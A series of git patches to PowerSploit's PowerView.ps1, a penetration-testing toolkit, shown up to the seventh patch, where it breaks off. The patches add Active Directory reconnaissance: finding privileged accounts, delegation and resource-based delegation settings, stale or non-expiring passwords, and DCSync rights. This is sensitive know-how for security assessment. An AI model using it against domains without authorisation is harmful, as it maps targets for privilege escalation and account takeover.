From bc827cac8c509b6e523f9a5f5effd8c9c09ae65a Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 29 Oct 2020 12:30:46 +0000 Subject: [PATCH 01/58] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 3871bcef..9ad489d7 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +Forked to add a few features to PowerView.ps1 that I commonly perform manually + ## This project is no longer supported ### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: From 4d74505feac74c3b54db4ada83739b683f73e7a1 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 29 Oct 2020 16:36:13 +0000 Subject: [PATCH 02/58] modified Get-DomainUser, fixed -AllowDelegation and -DisallowDelegation, added -Enabled, -Disabled, -PassNotExpire and -Unconstrained, modified Get-DomainComputer, added -AllowedToAct and -ExcludeDCs, also added new function Find-RealAdminUsers more work needed --- Recon/PowerView.ps1 | 140 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 138 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 2dc5234a..c7f6e95a 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4895,6 +4895,14 @@ Dynamic parameter that accepts one or more values from $UACEnum, including Switch. Return users with '(adminCount=1)' (meaning are/were privileged). +.PARAMETER Enabled + +Switch. Return users that are currently enabled. + +.PARAMETER Disabled + +Switch. Return users that are currently disabled. + .PARAMETER AllowDelegation Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' @@ -4903,6 +4911,14 @@ Switch. Return user accounts that are not marked as 'sensitive and not allowed f Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' +.PARAMETER PassNotExpire + +Switch. Return users whose passwords do not expire. + +.PARAMETER Unconstrained + +Switch. Return users configured for unconstrained delegation. + .PARAMETER TrustedToAuth Switch. Return computer objects that are trusted to authenticate for other principals. @@ -5059,6 +5075,14 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $AdminCount, + [Parameter(ParameterSetName = 'Enabled')] + [Switch] + $Enabled, + + [Parameter(ParameterSetName = 'Disabled')] + [Switch] + $Disabled, + [Parameter(ParameterSetName = 'AllowDelegation')] [Switch] $AllowDelegation, @@ -5067,6 +5091,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $DisallowDelegation, + [Switch] + $PassNotExpire, + + [Switch] + $Unconstrained, + [Switch] $TrustedToAuth, @@ -5207,14 +5237,32 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' $Filter += '(servicePrincipalName=*)' } + if ($PSBoundParameters['Enabled']) { + Write-Verbose '[Get-DomainUser] Searching for users who are enabled' + # negation of "Accounts that are disabled" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' + } + if ($PSBoundParameters['Disabled']) { + Write-Verbose '[Get-DomainUser] Searching for users who are disabled' + # inclusion of "Accounts that are disabled" + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)' + } if ($PSBoundParameters['AllowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' # negation of "Accounts that are sensitive and not trusted for delegation" - $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))' } if ($PSBoundParameters['DisallowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)' + } + if ($PSBoundParameters['PassNotExpire']) { + Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' + } + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainUser] Searching for users configured for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' } if ($PSBoundParameters['AdminCount']) { Write-Verbose '[Get-DomainUser] Searching for adminCount=1' @@ -6001,10 +6049,18 @@ Switch. Return computer objects that have unconstrained delegation. Switch. Return computer objects that are trusted to authenticate for other principals. +.PARAMETER AllowedToAct + +Switch. Return computer objects that are configured to allow resource-based constrained delegation. + .PARAMETER Printers Switch. Return only printers. +.PARAMETER ExcludeDCs + +Switch. Do not return domain controllers. + .PARAMETER SPN Return computers with a specific service principal name, wildcards accepted. @@ -6136,9 +6192,15 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $TrustedToAuth, + [Switch] + $AllowedToAct, + [Switch] $Printers, + [Switch] + $ExcludeDCs, + [ValidateNotNullOrEmpty()] [Alias('ServicePrincipalName')] [String] @@ -6287,10 +6349,18 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } + if ($PSBoundParameters['AllowedToAct']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are configured to allow resource-based constrained delegation' + $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + } if ($PSBoundParameters['Printers']) { Write-Verbose '[Get-DomainComputer] Searching for printers' $Filter += '(objectCategory=printQueue)' } + if ($PSBoundParameters['ExcludeDCs']) { + Write-Verbose '[Get-DomainComputer] Excluding domain controllers' + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=8192))' + } if ($PSBoundParameters['SPN']) { Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" $Filter += "(servicePrincipalName=$SPN)" @@ -20629,6 +20699,72 @@ Returns all GPO delegations on a given GPO. } } +function Find-RealAdminUsers { +<# +.SYNOPSIS + +Finds users that are currently administrative users as AdminCount doesn't necessarily mean the privileges are current. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Enabled + +Switch. Only return enabled users. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.EXAMPLE + +Find-RealAdminUsers -Enabled + +Returns all enabled administrative users. +#> + + [CmdletBinding()] + Param ( + [Switch] + $Enabled, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server + ) + + # array of high privileged groups from https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/ + $AdminGroups = @( + 'Account Operators', + 'Administrators', + 'Backup Operators', + 'Cert Publishers', + 'Domain Admins' + ) + + # Where we'll store all admin usernames + $Admins = @() + + foreach ($AdminGroup in $AdminGroups) { + Get-DomainGroupMember $AdminGroup -Recurse | ?{$_.MemberObjectClass -eq "user"} | select -expand MemberName | Sort-Object | Get-Unique | foreach { + if (($Admins.Count -eq 0 ) -Or (!($Admins.Contains($_)))) { + $Admins += $_ + } + } + } + + $Admins +} ######################################################## # From 502949d2c185d40c6ccecc6e74fad951f8caca69 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 29 Oct 2020 22:02:24 +0000 Subject: [PATCH 03/58] renames Find-RealAdminUsers to Find-HighValueAccounts, completed it with -SPN, -Enabled, -Disabled, -AllowDelegation -DisallowDelegation and -PassNotExpire --- Recon/PowerView.ps1 | 212 +++++++++++++++++++++++++++++++++++++++----- 1 file changed, 189 insertions(+), 23 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c7f6e95a..c2157bbe 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -20699,19 +20699,47 @@ Returns all GPO delegations on a given GPO. } } -function Find-RealAdminUsers { +function Find-HighValueAccounts { <# .SYNOPSIS -Finds users that are currently administrative users as AdminCount doesn't necessarily mean the privileges are current. +Finds users that are currently high value accounts as AdminCount doesn't necessarily mean the privileges are current. Author: Charlie Clark (@exploitph) License: BSD 3-Clause Required Dependencies: None +.PARAMETER SPN + +Switch. Only return user objects with non-null service principal names. + .PARAMETER Enabled -Switch. Only return enabled users. +Switch. Return accounts that are currently enabled. + +.PARAMETER Disabled + +Switch. Return accounts that are currently disabled. + +.PARAMETER AllowDelegation + +Switch. Return accounts that are not marked as 'sensitive and not allowed for delegation' + +.PARAMETER DisallowDelegation + +Switch. Return accounts that are marked as 'sensitive and not allowed for delegation' + +.PARAMETER PassNotExpire + +Switch. Return accounts whose passwords do not expire. + +.PARAMETER Users + +Switch. Only return user accounts. + +.PARAMETER Computers + +Switch. Only return computer accounts. .PARAMETER Domain @@ -20721,18 +20749,64 @@ Specifies the domain to use for the query, defaults to the current domain. Specifies an Active Directory server (domain controller) to bind to. +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + .EXAMPLE -Find-RealAdminUsers -Enabled +Find-HighValueAccounts -Enabled -Returns all enabled administrative users. +Returns all enabled high value accounts. #> - [CmdletBinding()] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + [CmdletBinding(DefaultParameterSetName = 'Enabled')] Param ( + [Switch] + $SPN, + + [Parameter(ParameterSetName = 'Enabled')] [Switch] $Enabled, + [Parameter(ParameterSetName = 'Disabled')] + [Switch] + $Disabled, + + [Parameter(ParameterSetName = 'AllowDelegation')] + [Switch] + $AllowDelegation, + + [Parameter(ParameterSetName = 'DisallowDelegation')] + [Switch] + $DisallowDelegation, + + [Switch] + $PassNotExpire, + + [Switch] + $Users, + + [Switch] + $Computers, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -20740,30 +20814,122 @@ Returns all enabled administrative users. [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] - $Server - ) + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - # array of high privileged groups from https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/ - $AdminGroups = @( - 'Account Operators', - 'Administrators', - 'Backup Operators', - 'Cert Publishers', - 'Domain Admins' + [Switch] + $Raw ) - # Where we'll store all admin usernames - $Admins = @() + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + + # array of high privileged groups from https://stealthbits.com/blog/fun-with-active-directorys-admincount-attribute/ + $AdminGroups = @( + 'Account Operators', + 'Administrators', + 'Backup Operators', + 'Cert Publishers', + 'Domain Admins', + 'Enterprise Admins', + 'Enterprise Key Admins', + 'Key Admins', + 'Print Operators', + 'Replicator', + 'Schema Admins', + 'Server Operators' + ) + + # variables + $IdentityFilter = '' + $Check = @() + } + + PROCESS { - foreach ($AdminGroup in $AdminGroups) { - Get-DomainGroupMember $AdminGroup -Recurse | ?{$_.MemberObjectClass -eq "user"} | select -expand MemberName | Sort-Object | Get-Unique | foreach { - if (($Admins.Count -eq 0 ) -Or (!($Admins.Contains($_)))) { - $Admins += $_ + foreach ($AdminGroup in $AdminGroups) { + Get-DomainGroupMember $AdminGroup -Recurse | ?{$_.MemberObjectClass -ne 'group'} | foreach { + if (((!($Users)) -And (!($Computers))) -Or ((($Users) -And ($_.MemberObjectClass -eq 'user')) -Or (($Computers) -And ($_.MemberObjectClass -eq 'computer')))) { + $MemberName = $_.MemberName + if (($Check.Count -eq 0 ) -Or (!($Check.Contains($MemberName)))) { + $IdentityFilter += "(samaccountname=$MemberName)" + $Check += $MemberName + } + } } } - } - $Admins + $Filter = "(|$IdentityFilter)" + + # Additional filters + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Find-HighValueAccounts] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['Enabled']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users who are enabled' + # negation of "Accounts that are disabled" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' + } + if ($PSBoundParameters['Disabled']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users who are disabled' + # inclusion of "Accounts that are disabled" + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)' + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))' + } + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)' + } + if ($PSBoundParameters['PassNotExpire']) { + Write-Verbose '[Find-HighValueAccounts] Searching for users whose passwords never expire' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' + } + + $ObjectSearcher.filter = "(&$Filter)" + Write-Verbose "[Find-HighValueAccounts] Find-HighValueAccounts filter string: $($ObjectSearcher.filter)" + $Results = $ObjectSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + $Object + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Find-HighValueAccounts] Error disposing of the Results object: $_" + } + } + $ObjectSearcher.dispose() + } } ######################################################## From 64549de080fa2f1b235bed3c85ae7ba1e36c1ed1 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 29 Oct 2020 22:12:16 +0000 Subject: [PATCH 04/58] changed enabled/disabled params for get-domainuser and find-highvalueaccounts --- Recon/PowerView.ps1 | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c2157bbe..67147082 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5075,11 +5075,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $AdminCount, - [Parameter(ParameterSetName = 'Enabled')] [Switch] $Enabled, - [Parameter(ParameterSetName = 'Disabled')] [Switch] $Disabled, @@ -20777,16 +20775,14 @@ Returns all enabled high value accounts. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.User')] [OutputType('PowerView.User.Raw')] - [CmdletBinding(DefaultParameterSetName = 'Enabled')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param ( [Switch] $SPN, - [Parameter(ParameterSetName = 'Enabled')] [Switch] $Enabled, - [Parameter(ParameterSetName = 'Disabled')] [Switch] $Disabled, From dacd685f24551d3a3b04ead6d2dcdd39df4704fd Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Fri, 6 Nov 2020 00:41:06 +0000 Subject: [PATCH 05/58] Added some stuff for RBCD searches, changed -AllowedToAct switch on Get-DomainComputer to -RBCD, added -RBCd to Get-DaominUser and created new Get-DomainRBCD function which returns RBCD configuration objects --- Recon/PowerView.ps1 | 285 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 281 insertions(+), 4 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 67147082..fb8b6d00 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4921,7 +4921,11 @@ Switch. Return users configured for unconstrained delegation. .PARAMETER TrustedToAuth -Switch. Return computer objects that are trusted to authenticate for other principals. +Switch. Return user accounts that are trusted to authenticate for other principals. + +.PARAMETER RBCD + +Switch. Return user accounts that are configured to allow resource-based constrained delegation. .PARAMETER PreauthNotRequired @@ -5098,6 +5102,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $TrustedToAuth, + [Switch] + $RBCD, + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] [Switch] $PreauthNotRequired, @@ -5270,6 +5277,10 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } + if ($PSBoundParameters['RBCD']) { + Write-Verbose '[Get-DomainUser] Searching for users that are configured to allow resource-based constrained delegation' + $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + } if ($PSBoundParameters['PreauthNotRequired']) { Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' @@ -6047,7 +6058,7 @@ Switch. Return computer objects that have unconstrained delegation. Switch. Return computer objects that are trusted to authenticate for other principals. -.PARAMETER AllowedToAct +.PARAMETER RBCD Switch. Return computer objects that are configured to allow resource-based constrained delegation. @@ -6191,7 +6202,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $TrustedToAuth, [Switch] - $AllowedToAct, + $RBCD, [Switch] $Printers, @@ -6347,7 +6358,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } - if ($PSBoundParameters['AllowedToAct']) { + if ($PSBoundParameters['RBCD']) { Write-Verbose '[Get-DomainComputer] Searching for computers that are configured to allow resource-based constrained delegation' $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' } @@ -20928,6 +20939,272 @@ Returns all enabled high value accounts. } } +function Get-DomainRBCD { +<# +.SYNOPSIS + +Finds accounts that are configured for resource-based constrained delegation and returns configuration. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainRBCD + +Returns the RBCD configuration for accounts in current domain. +#> + [OutputType('PowerView.Computer')] + [OutputType('PowerView.Computer.Raw')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $RBCDSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + #bind dynamic parameter to a friendly variable + if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { + New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters + } + if ($RBCDSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainRBCD] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $RBCDSearcher = Get-DomainSearcher @SearcherArguments + if (-not $ObjectSearcher) { + Write-Warning "[Get-DomainRBCD] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $ObjectName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$ObjectName)" + $SearcherArguments['Domain'] = $ObjectDomain + Write-Verbose "[Get-DomainRBCD] Extracted domain '$ObjectDomain' from '$IdentityInstance'" + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + } + } + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainRBCD] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + if ($Filter -and $Filter -ne '') { + $RBCDSearcher.filter = "(&$Filter)" + } + Write-Verbose "[Get-DomainRBCD] Get-DomainRBCD filter string: $($RBCDSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $RBCDSearcher.FindOne() } + else { $Results = $RBCDSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Object = $_ + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw') + } + else { + $Object = Convert-LDAPProperty -Properties $_.Properties + $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject') + } + + $r = $Object | select -expand msds-allowedtoactonbehalfofotheridentity + $d = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $r, 0 + $d.DiscretionaryAcl | ForEach-Object { + $RBCDObject = New-Object PSObject + $RBCDObject | Add-Member "SourceName" $Object.samaccountname + $RBCDObject | Add-Member "SourceType" $Object.samaccounttype + $RBCDObject | Add-Member "SourceSID" $Object.objectsid + $RBCDObject | Add-Member "SourceAccountControl" $Object.useraccountcontrol + $RBCDObject | Add-Member "SourceDistinguishedName" $Object.distinguishedname + $RBCDObject | Add-Member "ServicePrincipalName" $Object.serviceprincipalname + + $Delegated = Get-DomainObject $_.SecurityIdentifier + $RBCDObject | Add-Member "DelegatedName" $Delegated.samaccountname + $RBCDObject | Add-Member "DelegatedType" $Delegated.samaccounttype + $RBCDObject | Add-Member "DelegatedSID" $Delegated.objectsid + $RBCDObject | Add-Member "DelegatedAccountControl" $Delegated.useraccountcontrol + $RBCDObject | Add-Member "DelegatedDistinguishedName" $Delegated.distinguishedname + + $RBCDObject + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainRBCD] Error disposing of the Results object: $_" + } + } + $RBCDSearcher.dispose() + } + } +} + + ######################################################## # # Expose the Win32API functions and datastructures below From a71d2e2e4b66ba39f706c324a42e490d2d9cf281 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Fri, 6 Nov 2020 01:40:35 +0000 Subject: [PATCH 06/58] Added -PassLastSet option to Get-DomainUser for searching for users with old passwords --- Recon/PowerView.ps1 | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index fb8b6d00..ca2da7c2 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4931,6 +4931,10 @@ Switch. Return user accounts that are configured to allow resource-based constra Switch. Return user accounts with "Do not require Kerberos preauthentication" set. +.PARAMETER PassLastSet + +Return only user accounts that have not had a password change for at least the specified number of days. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -5109,6 +5113,10 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $PreauthNotRequired, + [ValidateRange(1, 10000)] + [Int] + $PassLastSet, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -5285,6 +5293,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } + if ($PSBoundParameters['PassLastSet']) { + Write-Verbose "[Get-DomainUser] Searching for user accounts that have not had a password change for at least $PSBoundParameters['PassLastSet'] days" + $PwdDate = (Get-Date).AddDays(-$PSBoundParameters['PassLastSet']).ToFileTime() + $Filter += "(pwdlastset<=$PwdDate)" + } + if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" From 459a40e9858d6d7811846ac9fa07dc44cf3f250c Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Sat, 7 Nov 2020 01:58:31 +0000 Subject: [PATCH 07/58] fixed -RightsFilter for Get-DomainObjectAcl with support for ResetPassword, WriteMembers, DCSync, All (GenericAll) and AllExtended, also added some initial code for Get-DomainDCSync --- Recon/PowerView.ps1 | 95 ++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 86 insertions(+), 9 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index ca2da7c2..5fdcc87f 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8167,7 +8167,7 @@ Custom PSObject with ACL entries. [String] [Alias('Rights')] - [ValidateSet('All', 'ResetPassword', 